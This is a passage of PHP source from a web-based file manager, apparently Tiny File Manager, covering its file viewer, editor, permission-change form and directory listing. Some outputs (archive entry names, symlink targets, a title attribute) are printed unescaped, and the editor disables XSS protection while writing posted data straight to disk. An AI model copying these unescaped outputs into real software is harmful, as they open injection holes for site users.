        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
    $file_path = $path . '/' . $file;

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize_raw = fm_get_size($file_path);
    $filesize = fm_get_filesize($filesize_raw);

    $is_zip = false;
    $is_gzip = false;
    $is_image = false;
    $is_audio = false;
    $is_video = false;
    $is_text = false;
    $is_onlineViewer = false;

    $view_title = 'File';
    $filenames = false; // for zip
    $content = ''; // for text
    $online_viewer = strtolower(FM_DOC_VIEWER);

    if($online_viewer && $online_viewer !== 'false' && in_array($ext, fm_get_onlineViewer_exts())){
        $is_onlineViewer = true;
    }
    elseif ($ext == 'zip' || $ext == 'tar') {
        $is_zip = true;
        $view_title = 'Archive';
        $filenames = fm_get_zif_info($file_path, $ext);
    } elseif (in_array($ext, fm_get_image_exts())) {
        $is_image = true;
        $view_title = 'Image';
    } elseif (in_array($ext, fm_get_audio_exts())) {
        $is_audio = true;
        $view_title = 'Audio';
    } elseif (in_array($ext, fm_get_video_exts())) {
        $is_video = true;
        $view_title = 'Video';
    } elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

    ?>
    <div class="row">
        <div class="col-12">
            <p class="break-word"><b><?php echo lng($view_title) ?> "<?php echo fm_enc(fm_convert_win($file)) ?>"</b></p>
            <p class="break-word">
                <?php $display_path = fm_get_display_path($file_path); ?>
                <strong><?php echo $display_path['label']; ?>:</strong> <?php echo $display_path['path']; ?><br>
                <strong>File size:</strong> <?php echo ($filesize_raw <= 1000) ? "$filesize_raw bytes" : $filesize; ?><br>
                <strong>MIME-type:</strong> <?php echo $mime_type ?><br>
                <?php
                // ZIP info
                if (($is_zip || $is_gzip) && $filenames !== false) {
                    $total_files = 0;
                    $total_comp = 0;
                    $total_uncomp = 0;
                    foreach ($filenames as $fn) {
                        if (!$fn['folder']) {
                            $total_files++;
                        }
                        $total_comp += $fn['compressed_size'];
                        $total_uncomp += $fn['filesize'];
                    }
                    ?>
                    <?php echo lng('Files in archive') ?>: <?php echo $total_files ?><br>
                    <?php echo lng('Total size') ?>: <?php echo fm_get_filesize($total_uncomp) ?><br>
                    <?php echo lng('Size in archive') ?>: <?php echo fm_get_filesize($total_comp) ?><br>
                    <?php echo lng('Compression') ?>: <?php echo round(($total_comp / max($total_uncomp, 1)) * 100) ?>%<br>
                    <?php
                }
                // Image info
                if ($is_image) {
                    $image_size = getimagesize($file_path);
                    echo '<strong>'.lng('Image size').':</strong> ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '<br>';
                }
                // Text info
                if ($is_text) {
                    $is_utf8 = fm_is_utf8($content);
                    if (function_exists('iconv')) {
                        if (!$is_utf8) {
                            $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content);
                        }
                    }
                    echo '<strong>'.lng('Charset').':</strong> ' . ($is_utf8 ? 'utf-8' : '8 bit') . '<br>';
                }
                ?>
            </p>
            <div class="d-flex align-items-center mb-3">
                <form method="post" class="d-inline ms-2" action="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($file) ?>">
                    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                    <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0"><i class="fa fa-cloud-download"></i> <?php echo lng('Download') ?></button> &nbsp;
                </form>
                <b class="ms-2"><a href="<?php echo fm_enc($file_url) ?>" target="_blank"><i class="fa fa-external-link-square"></i> <?php echo lng('Open') ?></a></b>
                <?php
                // ZIP actions
                if (!FM_READONLY && ($is_zip || $is_gzip) && $filenames !== false) {
                    $zip_name = pathinfo($file_path, PATHINFO_FILENAME);
                    ?>
                    <form method="post" class="d-inline ms-2">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
                        <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;"><i class="fa fa-check-circle"></i> <?php echo lng('UnZip') ?></button>
                    </form>&nbsp;
                    <form method="post" class="d-inline ms-2">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
                        <input type="hidden" name="tofolder" value="1">
                        <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;" title="UnZip to <?php echo fm_enc($zip_name) ?>"><i class="fa fa-check-circle"></i> <?php echo lng('UnZipToFolder') ?></button>
                    </form>&nbsp;
                    <?php
                }
                if ($is_text && !FM_READONLY) {
                    ?>
                    <b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>" class="edit-file"><i class="fa fa-pencil-square"></i> <?php echo lng('Edit') ?>
                        </a></b> &nbsp;
                    <b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>&env=ace"
                            class="edit-file"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?>
                        </a></b> &nbsp;
                <?php } ?>
                <b class="ms-2"><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back') ?></a></b>
            </div>
            <?php
            if($is_onlineViewer) {
                if($online_viewer == 'google') {
                    echo '<iframe src="https://docs.google.com/viewer?embedded=true&hl=en&url=' . fm_enc($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
                } else if($online_viewer == 'microsoft') {
                    echo '<iframe src="https://view.officeapps.live.com/op/embed.aspx?src=' . fm_enc($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
                }
            } elseif ($is_zip) {
                // ZIP content
                if ($filenames !== false) {
                    echo '<code class="maxheight">';
                    foreach ($filenames as $fn) {
                        if ($fn['folder']) {
                            echo '<b>' . fm_enc($fn['name']) . '</b><br>';
                        } else {
                            echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')<br>';
                        }
                    }
                    echo '</code>';
                } else {
                    echo '<p>'.lng('Error while fetching archive info').'</p>';
                }
            } elseif ($is_image) {
                // Image content
                if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) {
                    echo '<p><input type="checkbox" id="preview-img-zoomCheck"><label for="preview-img-zoomCheck"><img src="' . fm_enc($file_url) . '" alt="image" class="preview-img"></label></p>';
                }
            } elseif ($is_audio) {
                // Audio content
                echo '<p><audio src="' . fm_enc($file_url) . '" controls preload="metadata"></audio></p>';
            } elseif ($is_video) {
                // Video content
                echo '<div class="preview-video"><video src="' . fm_enc($file_url) . '" width="640" height="360" controls preload="metadata"></video></div>';
            } elseif ($is_text) {
                if (FM_USE_HIGHLIGHTJS) {
                    // highlight
                    $hljs_classes = array(
                        'shtml' => 'xml',
                        'htaccess' => 'apache',
                        'phtml' => 'php',
                        'lock' => 'json',
                        'svg' => 'xml',
                    );
                    $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext;
                    if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) {
                        $hljs_class = 'nohighlight';
                    }
                    $content = '<pre class="with-hljs"><code class="' . $hljs_class . '">' . fm_enc($content) . '</code></pre>';
                } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) {
                    // php highlight
                    $content = highlight_string($content, true);
                } else {
                    $content = '<pre>' . fm_enc($content) . '</pre>';
                }
                echo $content;
            }
            ?>
        </div>
    </div>
    <?php
        fm_show_footer();
    exit;
}

// file editor
if (isset($_GET['edit']) && !FM_READONLY) {
    $file = $_GET['edit'];
    $file = fm_clean_path($file, false);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
    $editFile = ' : <i><b>'. $file. '</b></i>';
    header('X-XSS-Protection:0');
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
    $file_path = $path . '/' . $file;

    // normal editer
    $isNormalEditor = true;
    if (isset($_GET['env'])) {
        if ($_GET['env'] == "ace") {
            $isNormalEditor = false;
        }
    }

    // Save File
    if (isset($_POST['savedata'])) {
        $writedata = $_POST['savedata'];
        $fd = fopen($file_path, "w");
        @fwrite($fd, $writedata);
        fclose($fd);
        fm_set_msg(lng('File Saved Successfully'));
    }

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize = filesize($file_path);
    $is_text = false;
    $content = ''; // for text

    if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

    ?>
    <div class="path">
        <div class="row">
            <div class="col-xs-12 col-sm-5 col-lg-6 pt-1">
                <div class="btn-toolbar" role="toolbar">
                    <?php if (!$isNormalEditor) { ?>
                        <div class="btn-group js-ace-toolbar">
                            <button data-cmd="none" data-option="fullscreen" class="btn btn-sm btn-outline-secondary" id="js-ace-fullscreen" title="<?php echo lng('Fullscreen') ?>"><i class="fa fa-expand" title="<?php echo lng('Fullscreen') ?>"></i></button>
                            <button data-cmd="find" class="btn btn-sm btn-outline-secondary" id="js-ace-search" title="<?php echo lng('Search') ?>"><i class="fa fa-search" title="<?php echo lng('Search') ?>"></i></button>
                            <button data-cmd="undo" class="btn btn-sm btn-outline-secondary" id="js-ace-undo" title="<?php echo lng('Undo') ?>"><i class="fa fa-undo" title="<?php echo lng('Undo') ?>"></i></button>
                            <button data-cmd="redo" class="btn btn-sm btn-outline-secondary" id="js-ace-redo" title="<?php echo lng('Redo') ?>"><i class="fa fa-repeat" title="<?php echo lng('Redo') ?>"></i></button>
                            <button data-cmd="none" data-option="wrap" class="btn btn-sm btn-outline-secondary" id="js-ace-wordWrap" title="<?php echo lng('Word Wrap') ?>"><i class="fa fa-text-width" title="<?php echo lng('Word Wrap') ?>"></i></button>
                            <select id="js-ace-mode" data-type="mode" title="<?php echo lng('Select Document Type') ?>" class="btn-outline-secondary border-start-0 d-none d-md-block"><option>-- <?php echo lng('Select Mode') ?> --</option></select>
                            <select id="js-ace-theme" data-type="theme" title="<?php echo lng('Select Theme') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng('Select Theme') ?> --</option></select>
                            <select id="js-ace-fontSize" data-type="fontSize" title="<?php echo lng('Select Font Size') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng('Select Font Size') ?> --</option></select>
                        </div>
                    <?php } ?>
                </div>
            </div>
            <div class="edit-file-actions col-xs-12 col-sm-7 col-lg-6 text-end pt-1">
                <a title="<?php echo lng('Back') ?>" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;view=<?php echo urlencode($file) ?>"><i class="fa fa-reply-all"></i> <?php echo lng('Back') ?></a>
                <a title="<?php echo lng('BackUp') ?>" class="btn btn-sm btn-outline-primary" href="javascript:void(0);" onclick="backup('<?php echo urlencode(trim(FM_PATH)) ?>','<?php echo urlencode($file) ?>')"><i class="fa fa-database"></i> <?php echo lng('BackUp') ?></a>
                <?php if ($is_text) { ?>
                    <?php if ($isNormalEditor) { ?>
                        <a title="Advanced" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>&amp;env=ace"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?></a>
                        <button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fm_enc($file_url) ?>" onclick="edit_save(this,'nrl')"><i class="fa fa-floppy-o"></i> Save
                        </button>
                    <?php } else { ?>
                        <a title="Plain Editor" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>"><i class="fa fa-text-height"></i> <?php echo lng('NormalEditor') ?></a>
                        <button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fm_enc($file_url) ?>" onclick="edit_save(this,'ace')"><i class="fa fa-floppy-o"></i> <?php echo lng('Save') ?>
                        </button>
                    <?php } ?>
                <?php } ?>
            </div>
        </div>
        <?php
        if ($is_text && $isNormalEditor) {
            echo '<textarea class="mt-2" id="normal-editor" rows="33" cols="120" style="width: 99.5%;">' . htmlspecialchars($content) . '</textarea>';
            echo '<script>document.addEventListener("keydown", function(e) {if ((window.navigator.platform.match("Mac") ? e.metaKey : e.ctrlKey)  && e.keyCode == 83) { e.preventDefault();edit_save(this,"nrl");}}, false);</script>';
        } elseif ($is_text) {
            echo '<div id="editor" contenteditable="true">' . htmlspecialchars($content) . '</div>';
        } else {
            fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error');
        }
        ?>
    </div>
    <?php
    fm_show_footer();
    exit;
}

// chmod (not for Windows)
if (isset($_GET['chmod']) && !FM_READONLY && !FM_IS_WIN) {
    $file = $_GET['chmod'];
    $file = fm_clean_path($file);
    $file = str_replace('/', '', $file);
    if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file;
    $file_path = $path . '/' . $file;

    $mode = fileperms($path . '/' . $file);
    ?>
    <div class="path">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header">
                <?php echo lng('ChangePermissions') ?>
            </h6>
            <div class="card-body">
                <p class="card-text">
                    <?php $display_path = fm_get_display_path($file_path); ?>
                    <?php echo $display_path['label']; ?>: <?php echo $display_path['path']; ?><br>
                </p>
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
                    <input type="hidden" name="chmod" value="<?php echo fm_enc($file) ?>">

                    <table class="table compact-table <?php echo fm_get_theme(); ?>">
                        <tr>
                            <td></td>
                            <td><b><?php echo lng('Owner') ?></b></td>
                            <td><b><?php echo lng('Group') ?></b></td>
                            <td><b><?php echo lng('Other') ?></b></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Read') ?></b></td>
                            <td><label><input type="checkbox" name="ur" value="1"<?php echo ($mode & 00400) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gr" value="1"<?php echo ($mode & 00040) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="or" value="1"<?php echo ($mode & 00004) ? ' checked' : '' ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Write') ?></b></td>
                            <td><label><input type="checkbox" name="uw" value="1"<?php echo ($mode & 00200) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gw" value="1"<?php echo ($mode & 00020) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="ow" value="1"<?php echo ($mode & 00002) ? ' checked' : '' ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Execute') ?></b></td>
                            <td><label><input type="checkbox" name="ux" value="1"<?php echo ($mode & 00100) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gx" value="1"<?php echo ($mode & 00010) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="ox" value="1"<?php echo ($mode & 00001) ? ' checked' : '' ?>></label></td>
                        </tr>
                    </table>

                    <p>
                       <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>"> 
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>&nbsp;
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Change') ?></button>
                    </p>
                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

// --- TINYFILEMANAGER MAIN ---
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path

// show alert messages
fm_show_message();

$num_files = count($files);
$num_folders = count($folders);
$all_files_size = 0;
$tableTheme = (FM_THEME == "dark") ? "text-white bg-dark table-dark" : "bg-white";
?>
<form action="" method="post" class="pt-3">
    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
    <input type="hidden" name="group" value="1">
    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
    <div class="table-responsive">
        <table class="table table-bordered table-hover table-sm <?php echo $tableTheme; ?>" id="main-table">
            <thead class="thead-white">
            <tr>
                <?php if (!FM_READONLY): ?>
                    <th style="width:3%" class="custom-checkbox-header">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="js-select-all-items" onclick="checkbox_toggle()">
                            <label class="custom-control-label" for="js-select-all-items"></label>
                        </div>
                    </th><?php endif; ?>
                <th><?php echo lng('Name') ?></th>
                <th><?php echo lng('Size') ?></th>
                <th><?php echo lng('Modified') ?></th>
                <?php if (!FM_IS_WIN && !$hide_Cols): ?>
                    <th><?php echo lng('Perms') ?></th>
                    <th><?php echo lng('Owner') ?></th><?php endif; ?>
                <th><?php echo lng('Actions') ?></th>
            </tr>
            </thead>
            <?php
            // link to parent folder
            if ($parent !== false) {
                ?>
                <tr><?php if (!FM_READONLY): ?>
                    <td class="nosort"></td><?php endif; ?>
                    <td class="border-0" data-sort><a href="?p=<?php echo urlencode($parent) ?>"><i class="fa fa-chevron-circle-left go-back"></i> ..</a></td>
                    <td class="border-0" data-order></td>
                    <td class="border-0" data-order></td>
                    <td class="border-0"></td>
                    <?php if (!FM_IS_WIN && !$hide_Cols) { ?>
                        <td class="border-0"></td>
                        <td class="border-0"></td>
                    <?php } ?>
                </tr>
                <?php
            }
            $ii = 3399;
            foreach ($folders as $f) {
                $is_link = is_link($path . '/' . $f);
                $img = $is_link ? 'icon-link_folder' : 'fa fa-folder-o';
                $modif_raw = filemtime($path . '/' . $f);
                $modif = date(FM_DATETIME_FORMAT, $modif_raw);
                $date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
                $filesize_raw = "";
                $filesize = lng('Folder');
                $perms = substr(decoct(fileperms($path . '/' . $f)), -4);
                if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
                    $owner = posix_getpwuid(fileowner($path . '/' . $f));
                    $group = posix_getgrgid(filegroup($path . '/' . $f));
                    if ($owner === false) {
                        $owner = array('name' => '?');
                    }
                    if ($group === false) {
                        $group = array('name' => '?');
                    }
                } else {
                    $owner = array('name' => '?');
                    $group = array('name' => '?');
                }
                ?>
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <td class="custom-checkbox-td">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="<?php echo $ii ?>" name="file[]" value="<?php echo fm_enc($f) ?>">
                            <label class="custom-control-label" for="<?php echo $ii ?>"></label>
                        </div>
                        </td><?php endif; ?>
                    <td data-sort=<?php echo fm_convert_win(fm_enc($f)) ?>>
                        <div class="filename"><a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fm_enc($f)) ?>
                            </a><?php echo($is_link ? ' &rarr; <i>' . readlink($path . '/' . $f) . '</i>' : '') ?></div>
                    </td>
                    <td data-order="a-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT);?>">
                        <?php echo $filesize; ?>
                    </td>
                    <td data-order="a-<?php echo $date_sorting;?>"><?php echo $modif ?></td>
                    <?php if (!FM_IS_WIN && !$hide_Cols): ?>
                        <td><?php if (!FM_READONLY): ?><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
                        </td>
                        <td><?php echo $owner['name'] . ':' . $group['name'] ?></td>
                    <?php endif; ?>
                    <td class="inline-actions"><?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Delete')?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, '1028','<?php echo lng('Delete').' '.lng('Folder'); ?>','<?php echo urlencode($f) ?>', this.href);"> <i class="fa fa-trash-o" aria-hidden="true"></i></a>
                            <a title="<?php echo lng('Rename')?>" href="#" onclick="rename('<?php echo fm_enc(addslashes(FM_PATH)) ?>', '<?php echo fm_enc(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a>
                            <a title="<?php echo lng('CopyTo')?>..." href="?p=&amp;copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o" aria-hidden="true"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo lng('DirectLink')?>" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f . '/') ?>" target="_blank"><i class="fa fa-link" aria-hidden="true"></i></a>
                    </td>
                </tr>
                <?php
                flush();
                $ii++;
            }
            $ik = 6070;
            foreach ($files as $f) {
                $is_link = is_link($path . '/' . $f);
                $img = $is_link ? 'fa fa-file-text-o' : fm_get_file_icon_class($path . '/' . $f);
                $modif_raw = filemtime($path . '/' . $f);
                $modif = date(FM_DATETIME_FORMAT, $modif_raw);
                $date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
                $filesize_raw = fm_get_size($path . '/' . $f);
                $filesize = fm_get_filesize($filesize_raw);
                $filelink = '?p=' . urlencode(FM_PATH) . '&amp;view=' . urlencode($f);
                $all_files_size += $filesize_raw;
                $perms = substr(decoct(fileperms($path . '/' . $f)), -4);
                if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
                    $owner = posix_getpwuid(fileowner($path . '/' . $f));
                    $group = posix_getgrgid(filegroup($path . '/' . $f));
                    if ($owner === false) {
                        $owner = array('name' => '?');
                    }
                    if ($group === false) {
                        $group = array('name' => '?');
                    }
                } else {
                    $owner = array('name' => '?');
                    $group = array('name' => '?');
                }
                ?>
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <td class="custom-checkbox-td">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="<?php echo $ik ?>" name="file[]" value="<?php echo fm_enc($f) ?>">
                            <label class="custom-control-label" for="<?php echo $ik ?>"></label>
                        </div>
                        </td><?php endif; ?>
                    <td data-sort=<?php echo fm_enc($f) ?>>
                        <div class="filename">
                        <?php
                           if (in_array(strtolower(pathinfo($f, PATHINFO_EXTENSION)), array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))): ?>
                                <?php $imagePreview = fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f); ?>
                                <a href="<?php echo $filelink ?>" data-preview-image="<?php echo $imagePreview ?>" title="<?php echo fm_enc($f) ?>">
                           <?php else: ?>
                                <a href="<?php echo $filelink ?>" title="<?php echo $f ?>">
                            <?php endif; ?>
                                    <i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fm_enc($f)) ?>
                                </a>
                                <?php echo($is_link ? ' &rarr; <i>' . readlink($path . '/' . $f) . '</i>' : '') ?>
                        </div>
                    </td>
                    <td data-order="b-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT); ?>"><span title="<?php printf('%s bytes', $filesize_raw) ?>">
                        <?php echo $filesize; ?>
                        </span></td>
                    <td data-order="b-<?php echo $date_sorting;?>"><?php echo $modif ?></td>
                    <?php if (!FM_IS_WIN && !$hide_Cols): ?>
                        <td><?php if (!FM_READONLY): ?><a title="<?php echo 'Change Permissions' ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
                        </td>
                        <td><?php echo fm_enc($owner['name'] . ':' . $group['name']) ?></td>
                    <?php endif; ?>
                    <td class="inline-actions">
                        <?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1209, '<?php echo lng('Delete').' '.lng('File'); ?>','<?php echo urlencode($f); ?>', this.href);"> <i class="fa fa-trash-o"></i></a>
                            <a title="<?php echo lng('Rename') ?>" href="#" onclick="rename('<?php echo fm_enc(addslashes(FM_PATH)) ?>', '<?php echo fm_enc(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o"></i></a>
                            <a title="<?php echo lng('CopyTo') ?>..."
                               href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo lng('DirectLink') ?>" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f) ?>" target="_blank"><i class="fa fa-link"></i></a>
                        <a title="<?php echo lng('Download') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1211, '<?php echo lng('Download'); ?>','<?php echo urlencode($f); ?>', this.href);"><i class="fa fa-download"></i></a>
                    </td>
                </tr>
                <?php
                flush();
                $ik++;
            }

            if (empty($folders) && empty($files)) { ?>
                <tfoot>
                    <tr><?php if (!FM_READONLY): ?>
                            <td></td><?php endif; ?>
                        <td colspan="<?php echo (!FM_IS_WIN && !$hide_Cols) ? '6' : '4' ?>"><em><?php echo lng('Folder is empty') ?></em></td>
                    </tr>
                </tfoot>
                <?php
            } else { ?>
                <tfoot>
                    <tr>
                        <td class="gray" colspan="<?php echo (!FM_IS_WIN && !$hide_Cols) ? (FM_READONLY ? '6' :'7') : (FM_READONLY ? '4' : '5') ?>">
                            <?php echo lng('FullSize').': <span class="badge text-bg-light border-radius-0">'.fm_get_filesize($all_files_size).'</span>' ?>
                            <?php echo lng('File').': <span class="badge text-bg-light border-radius-0">'.$num_files.'</span>' ?>
                            <?php echo lng('Folder').': <span class="badge text-bg-light border-radius-0">'.$num_folders.'</span>' ?>
                        </td>
                    </tr>
                </tfoot>
                <?php } ?>
        </table>
    </div>

    <div class="row">
        <?php if (!FM_READONLY): ?>
        <div class="col-xs-12 col-sm-9">
            <ul class="list-inline footer-action">
                <li class="list-inline-item"> <a href="#/select-all" class="btn btn-small btn-outline-primary btn-2" onclick="select_all();return false;"><i class="fa fa-check-square"></i> <?php echo lng('SelectAll') ?> </a></li>
                <li class="list-inline-item"><a href="#/unselect-all" class="btn btn-small btn-outline-primary btn-2" onclick="unselect_all();return false;"><i class="fa fa-window-close"></i> <?php echo lng('UnSelectAll') ?> </a></li>
                <li class="list-inline-item"><a href="#/invert-all" class="btn btn-small btn-outline-primary btn-2" onclick="invert_all();return false;"><i class="fa fa-th-list"></i> <?php echo lng('InvertSelection') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="delete" id="a-delete" value="Delete" onclick="return confirm('<?php echo lng('Delete selected files and folders?'); ?>')">
                    <a href="javascript:document.getElementById('a-delete').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-trash"></i> <?php echo lng('Delete') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="zip" id="a-zip" value="zip" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
                    <a href="javascript:document.getElementById('a-zip').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Zip') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="tar" id="a-tar" value="tar" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
                    <a href="javascript:document.getElementById('a-tar').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Tar') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="copy" id="a-copy" value="Copy">
                    <a href="javascript:document.getElementById('a-copy').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-files-o"></i> <?php echo lng('Copy') ?> </a></li>
            </ul>
        </div>
        <div class="col-3 d-none d-sm-block"><a href="https://github.io" target="_blank" class="float-right text-muted">Manager <?php echo VERSION; ?></a></div>
        <?php else: ?>
            <div class="col-12"><a href="https://github.io" target="_blank" class="float-right text-muted">Manager <?php echo VERSION; ?></a></div>
        <?php endif; ?>
    </div>
</form>

<?php
fm_show_footer();

// --- END HTML ---

// Functions

/**
 * It prints the css/js files into html
 * @param key The key of the external file to print.
 */
function print_external($key) {
    global $external;

    if(!array_key_exists($key, $external)) {
